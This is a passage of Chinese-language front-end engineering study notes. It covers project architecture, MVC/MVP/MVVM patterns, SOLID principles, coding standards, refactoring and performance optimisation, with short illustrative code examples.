- 可复用性:组件/工具可在多处使用
- 可扩展性:新增功能不影响现有架构
- 可维护性:代码结构清晰、易于理解和修改
典型前端项目架构
bash
src/
├── api/ # API 请求层
│ ├── modules/ # 按业务模块划分
│ └── index.js # axios 实例配置
├── assets/ # 静态资源
├── components/ # 公共组件
│ ├── common/ # 通用组件
│ └── business/ # 业务组件
├── hooks/ # 自定义 Hooks
├── layouts/ # 布局组件
├── pages/ # 页面组件
│ ├── Home/
│ └── Login/
├── router/ # 路由配置
├── store/ # 状态管理
│ ├── modules/ # 按模块划分
│ └── index.js
├── styles/ # 全局样式
│ ├── variables/ # 变量
│ └── mixins/ # 混合
├── utils/ # 工具函数
├── types/ # TypeScript 类型
└── main.js # 入口文件
26. 如何对前端项目进行代码的组织与架构设计?
问题拆解
| 维度 | 考虑因素 | 方案 |
|---|---|---|
| 代码组织 | 项目规模、团队人数、技术栈 | 按功能/按类型分层 |
| 状态管理 | 数据复杂度、组件层级 | 局部状态 / Vuex / Redux / 原子化 |
| 路由设计 | 页面数量、嵌套层级、权限控制 | 按路由分模块 |
| API 管理 | 接口数量、复用程度 | 按业务模块划分 |
| 组件设计 | 复用性、独立性 | 公共组件 / 业务组件分离 |
按功能分模块(推荐)
bash
src/
├── modules/
│ ├── auth/ # 认证模块
│ │ ├── components/
│ │ ├── pages/
│ │ ├── store/
│ │ ├── api/
│ │ └── routes.js
│ ├── user/ # 用户模块
│ │ ├── components/
│ │ ├── pages/
│ │ ├── store/
│ │ ├── api/
│ │ └── routes.js
│ └── order/ # 订单模块
│ ├── components/
│ ├── pages/
│ ├── store/
│ ├── api/
│ └── routes.js
├── shared/ # 共享资源
│ ├── components/
│ ├── hooks/
│ ├── utils/
│ └── styles/
└── app.js
技术选型建议
- 小型项目:Vue/React + 组件库 + 简单状态
- 中大型项目:Vue/React + Vuex/Redux + TypeScript
- 微前端:qiankun + 独立子应用
- SSR:Nuxt.js / Next.js
27. MVC 架构
定义
MVC(Model-View-Controller)将应用分为三个部分:
- Model(模型):数据和业务逻辑
- View(视图):用户界面
- Controller(控制器):处理用户输入,更新 Model 和 View
原理
用户操作 View → Controller 接收输入 → 更新 Model → Model 通知 View 更新
代码示例
javascript
// Model
class TodoModel {
constructor() {
this.todos = [];
this.listeners = [];
}
addTodo(text) {
this.todos.push({ text, done: false });
this.notify();
}
subscribe(listener) {
this.listeners.push(listener);
}
notify() {
this.listeners.forEach(l => l(this.todos));
}
}
// View
class TodoView {
render(todos) {
const html = todos.map(t =>
`<li>${t.done ? '✅' : '⬜'} ${t.text}</li>`
).join('');
document.getElementById('todo-list').innerHTML = html;
}
}
// Controller
class TodoController {
constructor(model, view) {
this.model = model;
this.view = view;
this.model.subscribe(todos => this.view.render(todos));
}
addTodo(text) {
this.model.addTodo(text);
}
}
// 使用
const model = new TodoModel();
const view = new TodoView();
const controller = new TodoController(model, view);
controller.addTodo('学习 MVC');
controller.addTodo('学习设计模式');
28. MVP 架构
定义
MVP(Model-View-Presenter)中 Presenter 充当 View 和 Model 的中间人,View 不直接与 Model 通信。
与 MVC 的区别
- MVC 中 View 可以直接观察 Model
- MVP 中 View 和 Model 完全隔离,通过 Presenter 交互
- Presenter 持有 View 的引用,主动更新 View
代码示例
javascript
// View(被动)
class TodoView {
constructor(presenter) {
this.presenter = presenter;
this.bindEvents();
}
bindEvents() {
document.getElementById('add-btn').addEventListener('click', () => {
const text = document.getElementById('input').value;
this.presenter.addTodo(text);
});
}
render(todos) {
document.getElementById('todo-list').innerHTML = todos
.map(t => `<li>${t.text}</li>`)
.join('');
}
}
// Presenter
class TodoPresenter {
constructor(model, view) {
this.model = model;
this.view = view;
this.model.subscribe(todos => this.view.render(todos));
}
addTodo(text) {
this.model.addTodo(text);
}
}
29. MVVM 架构
定义
MVVM(Model-View-ViewModel)通过 ViewModel 实现 Model 和 View 的双向数据绑定,View 的变化自动反映到 Model,反之亦然。
原理
- 双向数据绑定:View ↔ ViewModel ↔ Model
- 数据驱动:无需手动操作 DOM,数据变化自动更新视图
MVVM 实现
javascript
// 简易 MVVM 实现
class MVVM {
constructor(options) {
this.$el = document.querySelector(options.el);
this.$data = options.data;
this.init();
}
init() {
this.observe(this.$data);
this.compile(this.$el);
}
// 数据劫持
observe(data) {
Object.keys(data).forEach(key => {
this.defineReactive(data, key, data[key]);
});
}
defineReactive(obj, key, value) {
const dep = [];
Object.defineProperty(obj, key, {
get() {
if (MVVM.target && !dep.includes(MVVM.target)) {
dep.push(MVVM.target);
}
return value;
},
set(newVal) {
if (newVal !== value) {
value = newVal;
dep.forEach(watcher => watcher());
}
}
});
}
// 编译模板
compile(el) {
const nodes = el.childNodes;
nodes.forEach(node => {
if (node.nodeType === 1) { // 元素节点
const text = node.textContent;
const matches = text.match(/\{\{(.+?)\}\}/);
if (matches) {
const key = matches[1].trim();
new Watcher(this, node, key);
}
this.compile(node);
}
});
}
}
class Watcher {
constructor(vm, node, key) {
this.vm = vm;
this.node = node;
this.key = key;
this.update();
}
update() {
MVVM.target = this.update.bind(this);
this.node.textContent = this.vm.$data[this.key];
MVVM.target = null;
}
}
// 使用
const vm = new MVVM({
el: '#app',
data: { message: 'Hello MVVM!' }
});
30. MVC 与 MVVM 的区别
| 维度 | MVC | MVVM |
|---|---|---|
| 数据绑定 | 单向/手动 | 双向/自动 |
| View 与 Model | 可通过 Controller 间接交互 | 完全隔离,通过 ViewModel 绑定 |
| DOM 操作 | 需要手动操作 | 框架自动处理 |
| 适用框架 | Backbone.js、Ruby on Rails | Vue.js、Angular、WPF |
| 开发效率 | 较低,需手动同步 | 较高,数据驱动 |
选择策略
- 简单项目/服务端渲染 → MVC
- 富交互/数据驱动应用 → MVVM
31. 前端分层架构
分层设计
| 层次 | 职责 | 示例 |
|---|---|---|
| 展示层(View) | UI 渲染、用户交互 | React/Vue 组件 |
| 业务逻辑层(Service) | 业务规则、数据处理 | 服务类、工具函数 |
| 数据访问层(API/Repository) | 数据请求、数据转换 | Axios 封装、API 模块 |
| 状态管理层(Store) | 全局状态管理 | Vuex/Redux |
代码组织
bash
src/
├── views/ # 展示层:页面组件
├── components/ # 展示层:可复用组件
├── services/ # 业务逻辑层
├── repositories/ # 数据访问层
├── stores/ # 状态管理层
└── utils/ # 工具层
优点
- 关注点分离:各层职责明确
- 可测试性:每层可独立测试
- 可替换性:替换某层不影响其他层
32. 前端模块化
定义
将代码拆分为独立的模块,每个模块封装特定的功能。
模块化规范演进
| 规范 | 环境 | 特点 |
|---|---|---|
| IIFE | 浏览器早期 | 立即执行函数,避免全局污染 |
| AMD | 浏览器 | require.js,异步加载 |
| CommonJS | Node.js | require/module.exports,同步加载 |
| ES Modules | 现代浏览器 | import/export,静态分析 |
代码示例
javascript
// ES Modules
// math.js
export const PI = 3.14159;
export function add(a, b) { return a + b; }
export default class Calculator {}
// main.js
import Calculator, { PI, add } from './math.js';
// CommonJS
// math.js
module.exports = { PI: 3.14159, add: (a, b) => a + b };
// main.js
const { PI, add } = require('./math');
33. 前端组件化 / 组件化开发
定义
组件化是将 UI 拆分为独立、可复用的单元,每个组件包含自己的模板、样式和逻辑。
组件设计原则
| 原则 | 说明 | 示例 |
|---|---|---|
| 单一职责 | 一个组件只做一件事 | Button 只负责按钮点击 |
| 高内聚 | 相关功能集中 | 表单组件包含验证逻辑 |
| 低耦合 | 组件间依赖最小化 | 通过 Props 传递数据 |
| 可复用 | 可在多处使用 | 通用 Input 组件 |
| 可组合 | 组件可以嵌套组合 | Form > Input + Button |
Vue 组件示例
html
<template>
<button
:class="['btn', `btn-${type}`, { 'btn-disabled': disabled }]"
:disabled="disabled"
@click="handleClick"
>
<slot></slot>
</button>
</template>
<script>
export default {
name: 'BaseButton',
props: {
type: { type: String, default: 'default' },
disabled: { type: Boolean, default: false }
},
emits: ['click'],
methods: {
handleClick(e) {
if (!this.disabled) {
this.$emit('click', e);
}
}
}
}
</script>
三、组件设计原则
34. 组件设计原则概述
组件设计遵循 SOLID 原则和迪米特法则,这些原则不仅适用于面向对象编程,也适用于前端组件设计。
35. 单一职责原则(SRP)
定义
一个组件/模块只负责一项职责,只有一种引起它变化的原因。
原理
职责过多会导致组件臃肿、难以维护和测试。拆分职责后每个组件更专注、更易于复用。
示例
javascript
// 违反 SRP:一个组件做太多事
class UserComponent {
loadUserData() { /* 加载数据 */ }
renderUser() { /* 渲染用户信息 */ }
validateForm() { /* 验证表单 */ }
submitForm() { /* 提交表单 */ }
sendEmail() { /* 发送邮件 */ }
}
// 符合 SRP:拆分为多个组件
class UserLoader { loadUserData() { /* 加载数据 */ } }
class UserView { renderUser() { /* 渲染用户信息 */ } }
class FormValidator { validateForm() { /* 验证表单 */ } }
class FormSubmitter { submitForm() { /* 提交表单 */ } }
class EmailService { sendEmail() { /* 发送邮件 */ } }
常见误区
- 过度拆分导致碎片化
- 职责边界模糊
36. 开闭原则(OCP)
定义
对扩展开放,对修改关闭。软件实体应该可以扩展,但不应该被修改。
示例
javascript
// 违反 OCP:新增类型需要修改源码
function getDiscount(type, price) {
if (type === 'vip') return price * 0.9;
if (type === 'svip') return price * 0.8;
if (type === 'vvip') return price * 0.7; // 每次新增都要修改
return price;
}
// 符合 OCP:使用策略模式扩展
const discounts = {
vip: (price) => price * 0.9,
svip: (price) => price * 0.8,
};
function getDiscount(type, price) {
const strategy = discounts[type];
return strategy ? strategy(price) : price;
}
// 扩展无需修改原代码
discounts.vvip = (price) => price * 0.7;
37. 里氏替换原则(LSP)
定义
子类对象能够替换其父类对象,且程序逻辑不变。
示例
javascript
// 违反 LSP:子类改变了父类行为
class Bird {
fly() { console.log('飞'); }
}
class Penguin extends Bird {
fly() { throw new Error('企鹅不会飞'); } // 改变了父类行为
}
// 符合 LSP
class Bird {
move() { console.log('移动'); }
}
class Sparrow extends Bird {
move() { this.fly(); }
fly() { console.log('飞'); }
}
class Penguin extends Bird {
move() { this.swim(); }
swim() { console.log('游泳'); }
}
38. 接口隔离原则(ISP)
定义
客户端不应依赖它不需要的接口。应该将大接口拆分为小接口。
示例
javascript
// 违反 ISP:一个大接口
class Worker {
work() {}
eat() {}
sleep() {}
}
class Robot implements Worker {
work() { /* 工作 */ }
eat() { throw new Error('机器人不需要吃饭'); }
sleep() { throw new Error('机器人不需要睡觉'); }
}
// 符合 ISP:拆分接口
class Workable { work() {} }
class Eatable { eat() {} }
class Sleepable { sleep() {} }
class Robot implements Workable {
work() { /* 工作 */ }
}
class Human implements Workable, Eatable, Sleepable {
work() { /* 工作 */ }
eat() { /* 吃饭 */ }
sleep() { /* 睡觉 */ }
}
39. 依赖倒置原则(DIP)
定义
高层模块不应依赖低层模块,二者都应依赖抽象。抽象不应依赖细节,细节应依赖抽象。
示例
javascript
// 违反 DIP:高层直接依赖低层
class OrderService {
constructor() {
this.db = new MySQLDatabase(); // 直接依赖具体实现
}
saveOrder(order) {
this.db.connect();
this.db.save(order);
}
}
// 符合 DIP:依赖抽象
class OrderService {
constructor(database) {
this.db = database; // 依赖抽象接口
}
saveOrder(order) {
this.db.connect();
this.db.save(order);
}
}
// 使用时注入具体实现
const mysqlService = new OrderService(new MySQLDatabase());
const mongoService = new OrderService(new MongoDBDatabase());
40. 迪米特法则(LOD)
定义
一个对象应该对其他对象有最少的了解,只与直接朋友通信。
示例
javascript
// 违反 LOD:了解太多内部结构
class Company {
getDepartments() { return [...]; }
}
class Department {
getEmployees() { return [...]; }
}
// 不好:需要了解公司内部结构
function getEmployeeCount(company) {
let count = 0;
company.getDepartments().forEach(dept => {
count += dept.getEmployees().length;
});
return count;
}
// 符合 LOD:封装内部结构
class Company {
getEmployeeCount() {
// 内部逻辑对外隐藏
return this.departments.reduce((sum, dept) =>
sum + dept.employees.length, 0
);
}
}
41. 组件复用性
设计原则
| 维度 | 建议 |
|---|---|
| Props 设计 | 类型明确、有默认值、校验 |
| 插槽设计 | 使用 slot 提供扩展点 |
| 样式隔离 | 使用 BEM/CSS Modules/Scoped |
| 事件设计 | 使用 emits 声明事件 |
| 文档完善 | 提供使用示例和 Props 说明 |
高复用组件示例
html
<!-- 通用表格组件 -->
<template>
<table class="data-table">
<thead>
<tr>
<th v-for="col in columns" :key="col.key">{{ col.title }}</th>
</tr>
</thead>
<tbody>
<tr v-for="row in data" :key="row.id">
<td v-for="col in columns" :key="col.key">
<slot :name="col.key" :row="row" :value="row[col.key]">
{{ row[col.key] }}
</slot>
</td>
</tr>
</tbody>
</table>
</template>
<script>
export default {
props: {
columns: {
type: Array,
required: true,
validator: cols => cols.every(c => c.key && c.title)
},
data: { type: Array, default: () => [] },
loading: { type: Boolean, default: false }
}
}
</script>
42. 组件扩展性
扩展方式
| 方式 | 说明 | 适用场景 |
|---|---|---|
| Props | 传入配置控制行为 | 控制组件展示 |
| Slots | 提供内容插槽 | 自定义组件内容 |
| Events | 暴露事件供外部监听 | 响应组件交互 |
| Ref | 暴露内部方法 | 需要程序化控制 |
| 继承/组合 | 包装或扩展组件 | 构建变体组件 |
代码示例
html
<!-- 可扩展的卡片组件 -->
<template>
<div :class="['card', `card-${size}`, { 'card-bordered': bordered }]">
<!-- 头部扩展 -->
<div v-if="$slots.header || title" class="card-header">
<slot name="header">
<h3>{{ title }}</h3>
</slot>
</div>
<!-- 内容区 -->
<div class="card-body">
<slot></slot>
</div>
<!-- 底部扩展 -->
<div v-if="$slots.footer" class="card-footer">
<slot name="footer"></slot>
</div>
</div>
</template>
<script>
export default {
props: {
title: String,
size: { type: String, default: 'medium', validator: v => ['small', 'medium', 'large'].includes(v) },
bordered: Boolean
}
}
</script>
43. 组件可维护性
原则
| 维度 | 建议 |
|---|---|
| 命名规范 | 组件名 PascalCase,事件/方法 camelCase |
| 代码结构 | 统一模板结构:props → data → computed → methods |
| 注释规范 | 公共组件写 JSDoc,复杂逻辑加注释 |
| 类型检查 | 使用 TypeScript 或 PropTypes |
| 单元测试 | 核心逻辑和公共组件编写测试 |
| 样式管理 | 使用预处理器、CSS Modules、设计变量 |
44. 如何设计一个高可复用的表单组件?
问题拆解
| 维度 | 需求 |
|---|---|
| 表单字段 | 支持多种类型:input、select、textarea、checkbox 等 |
| 表单验证 | 支持多种规则:必填、长度、正则、异步验证 |
| 表单布局 | 支持横向/纵向布局、栅格布局 |
| 表单提交 | 统一提交、防抖、加载状态 |
| 表单状态 | 脏数据、提交状态、错误状态 |
实现方案
html
<!-- 表单容器组件 -->
<template>
<form @submit.prevent="handleSubmit">
<div :class="['form', `form-${layout}`]">
<slot :form="form"></slot>
</div>
<slot name="actions"></slot>
</form>
</template>
<script>
export default {
props: {
model: { type: Object, required: true },
rules: { type: Object, default: () => ({}) },
layout: { type: String, default: 'vertical' }
},
data() {
return {
form: {
values: { ...this.model },
errors: {},
touched: {},
submitting: false
}
};
},
methods: {
async validate(field) {
const rule = this.rules[field];
if (!rule) return true;
const value = this.form.values[field];
for (const validator of rule) {
const error = await validator(value, this.form.values);
if (error) {
this.form.errors[field] = error;
return false;
}
}
delete this.form.errors[field];
return true;
},
async handleSubmit() {
const fields = Object.keys(this.rules);
let valid = true;
for (const field of fields) {
if (!(await this.validate(field))) {
valid = false;
}
}
if (valid) {
this.form.submitting = true;
try {
await this.$emit('submit', this.form.values);
} finally {
this.form.submitting = false;
}
}
}
}
}
</script>
<!-- 表单项组件 -->
<template>
<div class="form-item" :class="{ 'form-item-error': form.errors[name] }">
<label v-if="label">{{ label }}</label>
<slot></slot>
<span v-if="form.errors[name]" class="error-msg">{{ form.errors[name] }}</span>
</div>
</template>
<!-- 使用 -->
<BaseForm :model="formData" :rules="rules" @submit="onSubmit">
<template #default="{ form }">
<FormItem label="用户名" name="username" :form="form">
<input v-model="form.values.username" @blur="form.touched.username = true" />
</FormItem>
<FormItem label="邮箱" name="email" :form="form">
<input v-model="form.values.email" @blur="form.validate('email')" />
</FormItem>
</template>
<template #actions>
<button type="submit" :disabled="form.submitting">提交</button>
</template>
</BaseForm>
四、代码规范与最佳实践
45. 代码规范 / 编码规范
定义
代码规范是一组约定,用于统一团队的编码风格,提高代码可读性和可维护性。
规范内容
| 维度 | 规范内容 |
|---|---|
| 命名规范 | 变量/函数/组件/文件命名约定 |
| 格式规范 | 缩进、换行、空格、括号 |
| 注释规范 | JSDoc、行注释、块注释 |
| 文件组织 | 导入顺序、模块导出 |
| 最佳实践 | 避免的写法、推荐的写法 |
46. 命名规范
javascript
// 变量/函数:camelCase
const userName = '张三';
function getUserInfo() {}
// 常量:UPPER_SNAKE_CASE
const MAX_RETRY_COUNT = 3;
const API_BASE_URL = '/api';
// 类/组件:PascalCase
class UserService {}
const UserProfile = () => <div>...</div>;
// 私有变量:_ 前缀
const _privateData = {};
// 布尔值:is/has/should 前缀
const isLoading = true;
const hasPermission = false;
const shouldUpdate = true;
// 事件处理:handle 前缀
function handleClick() {}
function handleSubmit() {}
// 回调函数:on 前缀
function onComplete() {}
function onError() {}
// 文件命名
// 组件:PascalCase.vue / .jsx
// 工具:camelCase.js
// 常量:UPPER_CASE.js
47. 注释规范
javascript
/**
* 格式化日期
* @param {Date|string|number} date - 日期对象或时间戳
* @param {string} [format='YYYY-MM-DD'] - 格式化模板
* @returns {string} 格式化后的日期字符串
* @example
* formatDate(new Date(), 'YYYY/MM/DD') // '2024/01/01'
*/
function formatDate(date, format = 'YYYY-MM-DD') {
// 处理时间戳
if (typeof date === 'number') {
date = new Date(date);
}
// TODO: 支持更多格式化选项
// HACK: 临时方案,需要后续优化
return format.replace('YYYY', date.getFullYear());
}
// FIXME: 这里有性能问题,需要优化
// NOTE: 这个改动是因为需求变更
// WARN: 注意这个边界情况
48. ESLint
定义
ESLint 是一个可配置的 JavaScript 代码检查工具。
配置示例
javascript
// .eslintrc.js
module.exports = {
root: true,
env: { browser: true, es2021: true, node: true },
extends: [
'eslint:recommended',
'plugin:vue/vue3-recommended',
'@vue/typescript'
],
parserOptions: {
ecmaVersion: 'latest',
parser: '@typescript-eslint/parser'
},
rules: {
// 错误级别
'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'warn',
'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off',
// 风格规则
'semi': ['error', 'always'],
'quotes': ['error', 'single'],
'indent': ['error', 2],
// 最佳实践
'eqeqeq': ['error', 'always'],
'no-unused-vars': 'error',
'prefer-const': 'error'
}
};
49. Prettier
定义
Prettier 是一个代码格式化工具,自动统一代码风格。
配置示例
json
// .prettierrc
{
"semi": true,
"singleQuote": true,
"tabWidth": 2,
"trailingComma": "es5",
"printWidth": 100,
"arrowParens": "avoid",
"bracketSpacing": true
}
ESLint + Prettier 集成
json
// package.json
{
"scripts": {
"lint": "eslint src --ext .js,.vue --fix",
"format": "prettier --write src/**/*.{js,vue,css}"
}
}
50. Git 提交规范
Conventional Commits 规范
xml
<type>(<scope>): <subject>
<body>
<footer>
Type 类型
| Type | 说明 |
|---|---|
| feat | 新功能 |
| fix | Bug 修复 |
| docs | 文档变更 |
| style | 代码格式(不影响代码运行) |
| refactor | 重构(既不是新功能也不是修复) |
| perf | 性能优化 |
| test | 测试相关 |
| chore | 构建/工具变更 |
| ci | CI 配置变更 |
示例
diff
feat(user): 添加用户登录功能
实现了基于 JWT 的用户登录验证
- 添加登录表单组件
- 添加登录 API 接口
- 添加 Token 存储逻辑
Closes #123
51. 代码审查(Code Review)
审查清单
| 维度 | 检查项 |
|---|---|
| 功能 | 是否满足需求、有无 Bug |
| 设计 | 架构是否合理、是否过度设计 |
| 性能 | 有无性能问题、是否需要优化 |
| 安全 | 有无安全隐患(XSS、注入) |
| 规范 | 是否遵循代码规范 |
| 测试 | 是否覆盖测试用例 |
| 文档 | 是否更新文档 |
52. 代码质量
衡量指标
| 指标 | 说明 | 工具 |
|---|---|---|
| 圈复杂度 | 代码路径复杂度 | ESLint complexity |
| 重复率 | 代码重复程度 | SonarQube |
| 测试覆盖率 | 测试覆盖的代码比例 | Jest/Istanbul |
| 技术债务 | 修复问题所需时间 | SonarQube |
| 代码异味 | 潜在问题代码 | ESLint/SonarQube |
五、重构技巧
53. 代码重构
定义
在不改变代码外部行为的前提下,改善代码的内部结构。
重构原则
- 红-绿-重构:先写测试(红)→ 实现功能(绿)→ 重构优化
- 小步重构:每次只做小改动,确保测试通过
- 频繁提交:每次重构后立即提交
- 保持测试通过:重构前后测试应全部通过
54. 重构技巧
| 技巧 | 说明 | 适用场景 |
|---|---|---|
| 提取函数 | 将代码块提取为独立函数 | 重复代码、过长函数 |
| 提取变量 | 将表达式结果赋给变量 | 复杂表达式、增加可读性 |
| 内联函数 | 将函数体替换为调用处 | 函数体过于简单 |
| 内联变量 | 直接使用表达式替代变量 | 临时变量 |
| 重命名 | 改进名称以增加可读性 | 命名不清晰 |
| 移动函数 | 将函数移到更合适的类/模块 | 函数归属不当 |
| 移动字段 | 将字段移到更合适的类 | 字段归属不当 |
| 封装字段 | 为字段提供 getter/setter | 直接访问字段 |
| 封装集合 | 控制集合的访问和修改 | 暴露内部集合 |
| 引入断言 | 使用断言验证假设 | 调试、防御性编程 |
55. 提取函数
javascript
// 重构前
function printOwing(invoice) {
let outstanding = 0;
console.log('***********************');
console.log('**** Customer Owes ****');
console.log('***********************');
// 计算明细
for (const item of invoice.items) {
outstanding += item.amount;
}
// 打印明细
console.log(`name: ${invoice.customer}`);
console.log(`amount: ${outstanding}`);
}
// 重构后:提取函数
function printOwing(invoice) {
printBanner();
const outstanding = calculateOutstanding(invoice);
printDetails(invoice, outstanding);
}
function printBanner() {
console.log('***********************');
console.log('**** Customer Owes ****');
console.log('***********************');
}
function calculateOutstanding(invoice) {
return invoice.items.reduce((sum, item) => sum + item.amount, 0);
}
function printDetails(invoice, outstanding) {
console.log(`name: ${invoice.customer}`);
console.log(`amount: ${outstanding}`);
}
56. 提取变量
javascript
// 重构前
if (user.role === 'admin' && user.status === 'active' && user.permissions.includes('delete')) {
// ...
}
// 重构后
const isAdmin = user.role === 'admin';
const isActive = user.status === 'active';
const canDelete = user.permissions.includes('delete');
if (isAdmin && isActive && canDelete) {
// ...
}
57. 内联函数
javascript
// 重构前
function getRating(driver) {
return moreThanFiveLateDeliveries(driver) ? 2 : 1;
}
function moreThanFiveLateDeliveries(driver) {
return driver.numberOfLateDeliveries > 5;
}
// 重构后
function getRating(driver) {
return driver.numberOfLateDeliveries > 5 ? 2 : 1;
}
58. 封装字段
javascript
// 重构前
class Person {
constructor(name) {
this.name = name;
}
}
const p = new Person('张三');
p.name = ''; // 可以直接修改
// 重构后
class Person {
#name;
constructor(name) {
this.setName(name);
}
getName() {
return this.#name;
}
setName(value) {
if (!value) throw new Error('name 不能为空');
this.#name = value;
}
}
59. 封装集合
javascript
// 重构前
class Team {
constructor() {
this.members = [];
}
}
const team = new Team();
team.members = []; // 可以直接替换整个集合
// 重构后
class Team {
#members = [];
getMembers() {
return [...this.#members]; // 返回副本
}
addMember(member) {
this.#members.push(member);
}
removeMember(member) {
this.#members = this.#members.filter(m => m !== member);
}
}
六、性能优化策略
60. 前端性能优化
优化维度
| 维度 | 优化方向 |
|---|---|
| 加载优化 | 减少资源体积、减少请求数量 |
| 执行优化 | 减少 JS 执行时间、优化算法 |
| 渲染优化 | 减少重排重绘、使用 GPU 加速 |
| 网络优化 | 使用 CDN、HTTP/2、缓存策略 |
| 图片优化 | 格式选择、懒加载、响应式图片 |
| 缓存优化 | 浏览器缓存、Service Worker |
| 首屏优化 | SSR/SSG、代码分割、预加载 |
| 白屏优化 | 骨架屏、内联关键 CSS |
61. 加载优化
策略
| 策略 | 说明 | 实现 |
|---|---|---|
| 代码分割 | 按路由/组件拆分代码 | Webpack splitChunks、React.lazy |
| 资源压缩 | 减小文件体积 | Terser、CSSNano |
| 图片压缩 | 优化图片大小 | WebP、AVIF、Tinypng |
| Gzip/Brotli | 压缩传输内容 | Nginx 配置 |
| CDN 加速 | 就近获取资源 | CDN 分发 |
| 按需加载 | 用时才加载 | 动态 import()、懒加载 |
| 预加载 | 提前加载资源 | <link rel="preload"> |
| 预连接 | 提前建立连接 | <link rel="preconnect"> |
代码示例
javascript
// 路由懒加载
const Home = () => import('./pages/Home.vue');
const About = () => import('./pages/About.vue');
// React.lazy
const LazyComponent = React.lazy(() => import('./HeavyComponent'));
// 图片懒加载
<img loading="lazy" src="image.jpg" alt="图片" />
// 预加载关键资源
<link rel="preload" href="/fonts/main.woff2" as="font" crossorigin>
<link rel="preload" href="/css/critical.css" as="style">
// 预连接第三方域名
<link rel="preconnect" href="https://api.example.com">
<link rel="dns-prefetch" href="https://cdn.example.com">
62. 执行优化
策略
| 策略 | 说明 |
|---|---|
| 防抖/节流 | 减少高频事件触发 |
| 虚拟列表 | 只渲染可视区域 |
| Web Worker | 将计算移出主线程 |
| 避免强制同步布局 | 批量读写 DOM |
| 减少闭包 | 减少内存占用 |
| 对象池 | 复用对象减少 GC |
代码示例
javascript
// 防抖
function debounce(fn, delay) {
let timer = null;
return function(...args) {
clearTimeout(timer);
timer = setTimeout(() => fn.apply(this, args), delay);
};
}
// 节流
function throttle(fn, limit) {
let inThrottle = false;
return function(...args) {
if (!inThrottle) {
fn.apply(this, args);
inThrottle = true;
setTimeout(() => inThrottle = false, limit);
}
};
}
// 虚拟列表
function VirtualList({ items, itemHeight, visibleCount }) {
const [scrollTop, setScrollTop] = useState(0);
const startIndex = Math.floor(scrollTop / itemHeight);
const endIndex = Math.min(startIndex + visibleCount, items.length);
const visibleItems = items.slice(startIndex, endIndex);
return (
<div style={{ height: visibleCount * itemHeight, overflow: 'auto' }}
onScroll={e => setScrollTop(e.target.scrollTop)}>
<div style={{ height: items.length * itemHeight, position: 'relative' }}>
{visibleItems.map((item, i) => (
<div key={i} style={{
position: 'absolute',
top: (startIndex + i) * itemHeight
}}>
{item}
</div>
))}
</div>
</div>
);
}
// Web Worker
const worker = new Worker('worker.js');
worker.postMessage(data);
worker.onmessage = (e) => {
console.log('计算结果:', e.data);
};
63. 渲染优化
策略
| 策略 | 说明 |
|---|---|
| 减少重排 | 批量修改样式、使用 transform/opacity |
| 减少重绘 | 避免频繁修改可见性、颜色 |
| 使用 will-change | 提示浏览器优化 |
| CSS 含合成 | 使用 transform 代替 top/left |
| 避免布局抖动 | 避免交替读写 DOM |
| 使用 DocumentFragment | 批量插入 DOM |
代码示例
javascript
// 好的做法:使用 transform
.element {
transition: transform 0.3s;
}
.element:hover {
transform: translateX(100px);
}
// 不好的做法:使用 top/left
.element {
transition: left 0.3s;
}
.element:hover {
left: 100px;
}
// 批量 DOM 操作
// 不好的做法
list.forEach(item => {
const el = document.createElement('li');
el.textContent = item;
container.appendChild(el); // 多次触发重排
});
// 好的做法
const fragment = document.createDocumentFragment();
list.forEach(item => {
const el = document.createElement('li');
el.textContent = item;
fragment.appendChild(el);
});
container.appendChild(fragment); // 只触发一次重排
// 避免布局抖动
// 不好的做法
div.style.width = '100px';
console.log(div.offsetWidth); // 强制同步布局
div.style.height = '200px';
console.log(div.offsetHeight); // 强制同步布局
// 好的做法
console.log(div.offsetWidth); // 先读取
div.style.width = '100px'; // 后写入
console.log(div.offsetHeight);
div.style.height = '200px';
64. 网络优化
策略
| 策略 | 说明 |
|---|---|
| HTTP/2 | 多路复用、头部压缩 |
| CDN | 就近分发资源 |
| 资源合并 | 减少请求数(HTTP/1.1) |
| 缓存策略 | 合理设置 Cache-Control |
| 预请求 | DNS 预解析、预连接 |
缓存策略
javascript
// HTTP 缓存头
// 强缓存
Cache-Control: max-age=31536000, immutable // 一年,不验证
Cache-Control: max-age=3600 // 一小时
// 协商缓存
ETag: "abc123" // 文件指纹
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT
// Nginx 配置示例
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
location / {
add_header Cache-Control "no-cache";
}
65. 图片优化
策略
| 策略 | 说明 |
|---|---|
| 格式选择 | WebP/AVIF 优先,PNG 用于透明,JPEG 用于照片 |
| 响应式图片 | srcset + sizes 适配不同屏幕 |
| 懒加载 | loading="lazy" |
| 压缩 | 使用工具压缩图片 |
| 雪碧图 | 合并小图标 |
| Base64 | 小图标内联 |
代码示例
html
<!-- 响应式图片 -->
<img
srcset="small.jpg 480w, medium.jpg 800w, large.jpg 1200w"
sizes="(max-width: 480px) 480px, (max-width: 800px) 800px, 1200px"
src="medium.jpg"
alt="响应式图片"
loading="lazy"
>
<!-- 使用 picture 元素 -->
<picture>
<source srcset="image.webp" type="image/webp">
<source srcset="image.avif" type="image/avif">
<img src="image.jpg" alt="图片">
</picture>
66. 缓存优化
浏览器缓存层次
| 缓存类型 | 位置 | 有效期 |
|---|---|---|
| Service Worker | 浏览器 | 持久化 |
| Memory Cache | 内存 | 会话期间 |
| Disk Cache | 磁盘 | 根据 HTTP 头 |
| Push Cache | HTTP/2 连接 | 连接期间 |
localStorage/sessionStorage
javascript
// 带过期时间的缓存
function setWithExpiry(key, value, ttl) {
const item = {
value,
expiry: Date.now() + ttl
};
localStorage.setItem(key, JSON.stringify(item));
}
function getWithExpiry(key) {
const itemStr = localStorage.getItem(key);
if (!itemStr) return null;
const item = JSON.parse(itemStr);
if (Date.now() > item.expiry) {
localStorage.removeItem(key);
return null;
}
return item.value;
}
67. 首屏优化
策略
| 策略 | 说明 |
|---|---|
| SSR/SSG | 服务端渲染/静态生成 |
| 代码分割 | 只加载首屏代码 |
| 内联关键 CSS | 将首屏样式内联到 HTML |
| 骨架屏 | 首屏占位 |
| 预渲染 | 构建时生成静态 HTML |
| 资源优先级 | preload/prefetch |
骨架屏示例
html
<template>
<div class="skeleton">
<div class="skeleton-header"></div>
<div class="skeleton-content">
<div class="skeleton-line" v-for="i in 5" :key="i"></div>
</div>
<div class="skeleton-footer"></div>
</div>
